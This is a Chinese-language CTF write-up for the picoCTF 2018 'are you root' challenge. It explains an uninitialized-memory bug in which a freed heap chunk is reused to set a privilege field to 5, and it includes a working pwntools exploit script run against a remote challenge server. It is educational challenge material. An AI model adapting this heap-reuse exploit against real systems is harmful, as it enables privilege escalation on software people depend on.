picoctf_2018_are you root

picoctf_2018_are you root

安全检查

 流程分析

在这里有malloc一个堆出来

 满足条件获取flag

 释放先前拷贝出来的字符串

漏洞分析

  • 只要满足一开始申请的字符串中的偏移8满足等于5的条件便可以
  • 先login创建了两个堆,然后把偏移为8的地方覆盖为5,再把他释放了
  • 上一步释放后在填入,便可以存储他的堆的偏移8为5了,满足条件
from pwn import *

context.log_level='debug'

#p=process('./PicoCTF_2018_are_you_root')
p=remote('node3.buuoj.cn',25174)

def login(content):
    p.recvuntil('>')
    p.sendline('login '+content)

def reset():
    p.recvuntil('>')
    p.sendline('reset')

def get_flag():
    p.recvuntil('>')
    p.sendline('get-flag')

login('a'*8+p64(0x5))
reset()
login('PYozo')
get_flag()
#gdb.attach(p)

p.interactive()

学习总结

这道题本身不难,一开始没怎么看懂,然后看到了haivk师傅的博客后,发现是道未初始化验证漏洞题,这也是我第一次接触这种题吧,然后开始认真的分析了下流程,一直没注意释放的是*ptr,而不是ptr所以一开始没看到,到后面突然看清楚了

原文地址:https://www.cnblogs.com/pppyyyzzz/p/13986360.html